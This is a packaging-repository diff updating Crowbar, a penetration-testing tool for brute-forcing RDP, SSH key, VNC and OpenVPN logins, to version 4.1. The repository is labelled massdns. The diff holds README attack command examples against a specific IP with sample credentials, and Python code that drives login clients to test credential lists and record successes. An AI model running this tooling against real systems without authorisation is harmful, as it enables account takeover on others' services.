Codebase list massdns / 27bde00
New upstream version 4.1 Ben Wilson 4 years ago
5 changed file(s) with 114 addition(s) and 52 deletion(s). Raw diff Collapse all Expand all
+0
-1
.gitignore less more
00 *.pyc
11 crowbar.out
22 crowbar.log
3
+27
-17
README.md less more
00 ## Crowbar - Brute forcing tool
1
2 ### Demonstration Videos
3
4 https://www.youtube.com/watch?v=4QZAWGsveSM&list=PL1BVM6VWlmWZOv9Hv8TV2v-kAlUmvA5g7&index=1
5 https://www.youtube.com/watch?v=i_byBBlpZoE&list=PL1BVM6VWlmWZOv9Hv8TV2v-kAlUmvA5g7&index=2
6 https://www.youtube.com/watch?v=IOSUpAFaL6E&list=PL1BVM6VWlmWZOv9Hv8TV2v-kAlUmvA5g7&index=3
71
82 ### What is Crowbar?
93
2923 **Debain 9/10+ & Kali Rolling**
3024
3125 ```
32 # apt install -y nmap openvpn freerdp2-x11 tigervnc-viewer
26 # sudo apt install -y nmap openvpn freerdp2-x11 tigervnc-viewer python3 python3-pip
3327 ```
3428
3529 **Debain 7/8 & Kali 1/2**
3630
3731 ```
38 # apt-get install -y nmap openvpn freerdp-x11 vncviewer
32 # sudo apt-get install -y nmap openvpn freerdp-x11 vncviewer
3933 ```
4034
4135 Then get latest version from GitHub:
4236
4337 ```
4438 # git clone https://github.com/galkan/crowbar
39 # cd crowbar/
40 # pip3 install -r requirements.txt
4541 ```
4642
4743 Note: The RDP client package depends on your OS:
109105 2015-03-28 11:04:00 RDP-SUCCESS : 10.68.35.150:3389 - "gokhan alkan@DOMAIN":Aa123456,
110106 ```
111107
112 #### Brute Forcing Remote Desktop Protocol (RDP)
108 ### Demonstration Videos
109
110 - https://www.youtube.com/watch?v=4QZAWGsveSM
111
112
113 ### Brute Forcing - Remote Desktop Protocol (RDP)
113114
114115 Below are a few examples of attacking RDP using Crowbar.
115116
153154
154155 - - -
155156
156 #### Brute Forcing SSH Private Keys
157 ### Brute Forcing - SSH Private Keys
157158
158159 Below are a few examples which you have using Crowbar.
159160
185186
186187 ![](https://raw.githubusercontent.com/galkan/crowbar/master/images/crowbar-ssh3.jpg)
187188
188 #### Brute Forcing VNC
189 - - -
190
191 ### Brute Forcing - VNC
189192
190193 Below is an example of attacking a VNC service using Crowbar.
191194
197200
198201 ![](https://raw.githubusercontent.com/galkan/crowbar/master/images/crowbar-vnc.jpg)
199202
200 ### Brute Forcing OpenVPN
203 - - -
204
205 ### Brute Forcing - OpenVPN
201206
202207 Below is an example of attacking OpenVPN using Crowbar.
203208
204 OpenVPN brute force attempt to a single IP address using a configuration file, a certificate file, a single username and a single password with specified port number:
205
206 ```
207 # ./crowbar.py -b openvpn -s 198.7.62.204/32 -p 443 -m ~/Desktop/vpnbook.ovpn -k ~/Desktop/vpnbook_ca.crt -u vpnbook -c cr2hudaF
209 OpenVPN brute force attempt to a single IP address using a configuration file, a single username and a single password with specified port number and optional certificate file. Doesn't matter if its TCP or UDP:
210
211 ```
212 # grep remote ~/Desktop/vpnbook.ovpn
213 remote vpn.example.com 1194 udp
214 # host vpn.example.com | awk '{print $1}'
215 198.7.62.204
216 # grep '^auth-user-pass' ~/Desktop/vpnbook.ovpn
217 # ./crowbar.py -b openvpn -s 198.7.62.204/32 -p 1194 -m ~/Desktop/vpnbook.ovpn -k ~/Desktop/vpnbook_ca.crt -u vpnbook -c cr2hudaF
208218 ```
209219
210220 ![](https://raw.githubusercontent.com/galkan/crowbar/master/images/crowbar-vpn.jpg)
221231
222232 - Bahtiyar Bircan
223233 - Ertuğrul Başaranoğlu
224 - [g0tmi1k](https://twitter.com/g0tmi1k)
234 - [g0tmi1k](https://blog.g0tmi1k.com/)
225235
226236 - - -
227237
+2
-0
crowbar.py less more
44 from lib.core.exceptions import CrowbarExceptions
55 except Exception as err:
66 import sys
7
78 print(err, file=sys.stderr)
89 sys.exit(1)
910
1819 crowbar.run(crowbar.args.brute)
1920 except Exception as err:
2021 import sys
22
2123 print(err, file=sys.stderr)
2224 sys.exit(1)
+83
-33
lib/main.py less more
1818
1919 raise CrowbarExceptions(str(err))
2020
21 __version__ = '0.3.6-dev'
21 __version__ = '0.4.1'
2222 __banner__ = 'Crowbar v%s' % (__version__)
23
2324
2425 class AddressAction(argparse.Action):
2526 def __call__(self, parser, args, values, option=None):
8081 mess = """ Usage: use --help for further information\ncrowbar.py: error: argument -c/--passwd or -C/--passwdfile expected one argument """
8182 raise CrowbarExceptions(mess)
8283
84
8385 class Main:
8486 is_success = 0
8587
9294 self.vpn_success = re.compile("Initialization Sequence Completed")
9395 self.vpn_remote_regex = re.compile("^\s+remote\s[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\s[0-9]{1,3}")
9496 self.vpn_warning = "Warning! Both \"remote\" options were used at the same time. But command line \"remote\" options will be used!"
97 self.vpn_error_in_use = "Address already in use (errno=98)"
9598
9699 self.xfreerdp_path = "/usr/bin/xfreerdp"
97100 self.rdp_success = "Authentication only, exit status 0"
98101 self.rdp_success_ins_priv = "insufficient access privileges"
99102 self.rdp_success_account_locked = "alert internal error"
100 self.rdp_display_error = "Please check that the \$DISPLAY environment variable is properly set."
103 self.rdp_error_host_down = "ERRCONNECT_CONNECT_FAILED" # [0x00020006] [0x00020014]
104 self.rdp_error_display = "Please check that the \$DISPLAY environment variable is properly set."
101105
102106 self.vncviewer_path = "/usr/bin/vncviewer"
103107 self.vnc_success = "Authentication successful"
109113 parser.add_argument('-b', '--brute', dest='brute', help='Target service', choices=self.services.keys(),
110114 required=True)
111115 parser.add_argument('-s', '--server', dest='server', action='store', help='Static target')
112 parser.add_argument('-S', '--serverfile', dest='server_file', action='store', help='Multiple targets stored in a file')
113 parser.add_argument('-u', '--username', dest='username', action='store', nargs='+', help='Static name to login with')
114 parser.add_argument('-U', '--usernamefile', dest='username_file', action='store', help='Multiple names to login with, stored in a file')
115 parser.add_argument('-n', '--number', dest='thread', action='store', help='Number of threads to be active at once', default=5, type=int)
116 parser.add_argument('-l', '--log', dest='log_file', action='store', help='Log file (only write attempts)', metavar='FILE',
116 parser.add_argument('-S', '--serverfile', dest='server_file', action='store',
117 help='Multiple targets stored in a file')
118 parser.add_argument('-u', '--username', dest='username', action='store', nargs='+',
119 help='Static name to login with')
120 parser.add_argument('-U', '--usernamefile', dest='username_file', action='store',
121 help='Multiple names to login with, stored in a file')
122 parser.add_argument('-n', '--number', dest='thread', action='store',
123 help='Number of threads to be active at once', default=5, type=int)
124 parser.add_argument('-l', '--log', dest='log_file', action='store', help='Log file (only write attempts)',
125 metavar='FILE',
117126 default="crowbar.log")
118 parser.add_argument('-o', '--output', dest='output', action='store', help='Output file (write everything else)', metavar='FILE',
127 parser.add_argument('-o', '--output', dest='output', action='store', help='Output file (write everything else)',
128 metavar='FILE',
119129 default="crowbar.out")
120130 parser.add_argument('-c', '--passwd', dest='passwd', action='store', help='Static password to login with')
121 parser.add_argument('-C', '--passwdfile', dest='passwd_file', action='store', help='Multiple passwords to login with, stored in a file',
131 parser.add_argument('-C', '--passwdfile', dest='passwd_file', action='store',
132 help='Multiple passwords to login with, stored in a file',
122133 metavar='FILE')
123 parser.add_argument('-t', '--timeout', dest='timeout', action='store', help='[SSH] How long to wait for each thread (seconds)', default=10, type=int)
124 parser.add_argument('-p', '--port', dest='port', action='store', help='Alter the port if the service is not using the default value', type=int)
125 parser.add_argument('-k', '--keyfile', dest='key_file', action='store', help='[SSH/VNC] (Private) Key file or folder containing multiple files')
134 parser.add_argument('-t', '--timeout', dest='timeout', action='store',
135 help='[SSH] How long to wait for each thread (seconds)', default=10, type=int)
136 parser.add_argument('-p', '--port', dest='port', action='store',
137 help='Alter the port if the service is not using the default value', type=int)
138 parser.add_argument('-k', '--keyfile', dest='key_file', action='store',
139 help='[SSH/VNC] (Private) Key file or folder containing multiple files')
126140 parser.add_argument('-m', '--config', dest='config', action='store', help='[OpenVPN] Configuration file ')
127 parser.add_argument('-d', '--discover', dest='discover', action='store_true', help='Port scan before attacking open ports', default=False)
128 parser.add_argument('-v', '--verbose', dest='verbose', action="count", help='Enable verbose output (-vv for more)', default=False)
141 parser.add_argument('-d', '--discover', dest='discover', action='store_true',
142 help='Port scan before attacking open ports', default=False)
143 parser.add_argument('-v', '--verbose', dest='verbose', action="count",
144 help='Enable verbose output (-vv for more)', default=False)
129145 parser.add_argument('-D', '--debug', dest='debug', action='store_true', help='Enable debug mode', default=False)
130 parser.add_argument('-q', '--quiet', dest='quiet', action='store_true', help='Only display successful logins', default=False)
146 parser.add_argument('-q', '--quiet', dest='quiet', action='store_true', help='Only display successful logins',
147 default=False)
131148 parser.add_argument('options', nargs='*', action=AddressAction)
132149
133150 try:
182199
183200 openvpn_cmd = "%s --remote %s %s --auth-user-pass %s --tls-exit --connect-retry-max 0 --config %s" % (
184201 self.openvpn_path, ip, port, brute_file_name, self.args.config)
202
185203 if self.args.verbose == 2:
186204 self.logger.output_file("CMD: %s" % openvpn_cmd)
187 proc = subprocess.Popen(shlex.split(openvpn_cmd), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
205
206 proc = subprocess.Popen(shlex.split(openvpn_cmd), shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
188207
189208 brute = "LOG-OPENVPN: " + ip + ":" + str(port) + " - " + username + ":" + password + " - " + brute_file_name
190209 self.logger.log_file(brute)
191 for line in iter(proc.stdout.readline, ''):
210
211 # For every line out
212 for line in proc.stdout:
213 # Is debug enabled
192214 if self.args.debug:
193 self.logger.output_file(line.rstrip())
194 if re.search(self.vpn_success, line):
195 result = bcolors.OKGREEN + "OPENVPN-SUCCESS: " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str(port) + " - " + username + ":" + password + bcolors.ENDC
215 self.logger.output_file(line.decode("utf-8").rstrip())
216
217 # Success
218 if re.search(self.vpn_success, str(line)):
219 result = bcolors.OKGREEN + "OPENVPN-SUCCESS: " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str(
220 port) + " - " + username + ":" + password + bcolors.ENDC
196221 self.logger.output_file(result)
197222 Main.is_success = 1
198223 os.kill(proc.pid, signal.SIGQUIT)
224 # Errors
225 elif re.search(self.vpn_error_in_use, str(line)):
226 mess = "Already connected to a VPN"
227 raise CrowbarExceptions(mess)
199228 brute_file.close()
200229
201230 def openvpn(self):
202 port = 443 #TCP 443, TCP 943, UDP 1194
231 port = 443 # TCP 443, TCP 943, UDP 1194
232
233 if not 'SUDO_UID' in os.environ.keys():
234 mess = "OpenVPN requires super user privileges"
235 raise CrowbarExceptions(mess)
203236
204237 if not os.path.exists(self.openvpn_path):
205238 mess = "openvpn: %s path doesn't exists on the system!" % os.path.abspath(self.openvpn_path)
273306
274307 def vnclogin(self, ip, port, keyfile):
275308 vnc_cmd = "%s -passwd %s %s:%s" % (self.vncviewer_path, keyfile, ip, port)
309
276310 if self.args.verbose == 2:
277311 self.logger.output_file("CMD: %s" % vnc_cmd)
278 proc = subprocess.Popen(shlex.split(vnc_cmd), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
312
313 proc = subprocess.Popen(shlex.split(vnc_cmd), shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
279314
280315 brute = "LOG-VNC: " + ip + ":" + str(port) + " - " + keyfile
281316 self.logger.log_file(brute)
282 for line in iter(proc.stderr.readline, ''):
317
318 # For every line out
319 for line in proc.stdout:
320 # Is debug enabled
283321 if self.args.debug:
284 self.logger.output_file(line.rstrip())
285 if re.search(self.vnc_success, line):
322 self.logger.output_file(line.decode("utf-8").rstrip())
323
324 if re.search(self.vnc_success, str(line)):
286325 os.kill(proc.pid, signal.SIGQUIT)
287326 result = bcolors.OKGREEN + "VNC-SUCCESS: " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str(
288327 port) + " - " + keyfile + bcolors.ENDC
326365
327366 if self.args.verbose == 2:
328367 self.logger.output_file("CMD: %s" % rdp_cmd)
329 proc = subprocess.Popen(shlex.split(rdp_cmd), shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
368
369 # stderr to stdout
370 proc = subprocess.Popen(shlex.split(rdp_cmd), shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
330371
331372 brute = "LOG-RDP: " + ip + ":" + str(port) + " - " + user + ":" + password
332373 self.logger.log_file(brute)
333 for line in iter(proc.stderr.readline, ''):
374
375 # For every line out
376 for line in proc.stdout:
377 # Is debug enabled
334378 if self.args.debug:
335 self.logger.output_file(line.rstrip())
336 if re.search(self.rdp_success, line):
379 self.logger.output_file(line.decode("utf-8").rstrip())
380
381 # Success
382 if re.search(self.rdp_success, str(line)):
337383 result = bcolors.OKGREEN + "RDP-SUCCESS : " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str(
338384 port) + " - " + user + ":" + password + bcolors.ENDC
339385 self.logger.output_file(result)
340386 Main.is_success = 1
341387 break
342 elif re.search(self.rdp_success_ins_priv, line):
388 elif re.search(self.rdp_success_ins_priv, str(line)):
343389 result = bcolors.OKGREEN + "RDP-SUCCESS (INSUFFICIENT PRIVILEGES) : " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str(
344390 port) + " - " + user + ":" + password + bcolors.ENDC
345391 self.logger.output_file(result)
346392 Main.is_success = 1
347393 break
348 elif re.search(self.rdp_success_account_locked, line):
394 elif re.search(self.rdp_success_account_locked, str(line)):
349395 result = bcolors.OKGREEN + "RDP-SUCCESS (ACCOUNT_LOCKED_OR_PASSWORD_EXPIRED) : " + bcolors.ENDC + bcolors.OKBLUE + ip + ":" + str(
350396 port) + " - " + user + ":" + password + bcolors.ENDC
351397 self.logger.output_file(result)
352398 Main.is_success = 1
353399 break
354 elif re.search(self.rdp_display_error, line):
400 # Errors
401 elif re.search(self.rdp_error_display, str(line)):
355402 mess = "Please check \$DISPLAY is properly set. See README.md %s" % self.crowbar_readme
403 raise CrowbarExceptions(mess)
404 elif re.search(self.rdp_error_host_down, str(line)):
405 mess = "Host isn't up"
356406 raise CrowbarExceptions(mess)
357407
358408 def rdp(self):
505555 self.logger.output_file("No results found...")
506556
507557 def signal_handler(self, signal, frame):
508 raise CrowbarExceptions("Exiting...")
558 raise CrowbarExceptions("\nExiting...")
+2
-1
lib/nmap.py less more
88 from lib.core.exceptions import CrowbarExceptions
99
1010 raise CrowbarExceptions(str(err))
11
1112
1213 class Nmap:
1314 def __init__(self):
3940 nmap_scan_type = "-sS"
4041
4142 nmap_scan_option = "-n -Pn -T4 %s --open -p %s --host-timeout=10m --max-rtt-timeout=600ms --initial-rtt-timeout=300ms --min-rtt-timeout=300ms --max-retries=2 --min-rate=150 -oG %s" % (
42 nmap_scan_type, port, tmpfile_name)
43 nmap_scan_type, port, tmpfile_name)
4344
4445 if self.lib:
4546 nmap_scan_option = "%s %s" % (